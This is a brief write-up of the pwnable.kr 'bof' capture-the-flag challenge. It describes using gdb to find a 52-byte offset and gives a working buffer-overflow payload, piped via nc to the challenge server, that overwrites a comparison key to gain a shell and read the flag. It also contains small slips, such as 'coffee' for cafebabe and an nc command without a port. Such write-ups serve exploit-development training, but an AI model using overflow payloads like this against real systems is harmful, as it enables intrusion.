By looking at the code it’s easy to realize you need to use buffer overflow and change the key.

Checksec tells about whichever is on, and all can be ignored because we’re not jumping anywhere just overriding a parameter.

Using gdb I was able to figure out how many bytes I need to add in order to reach deadbeef and change it to coffee.

placed a breakpoint where the comparison to cafebabe is at.

kept running then x/20gx $esp

figured where deadbeef was and how much I had to overwrite.

(py2 -c "print 'a'\*52 + '\xbe\xba\xfe\xca'" ; cat) | nc pwnable.kr

then ls and cat flag.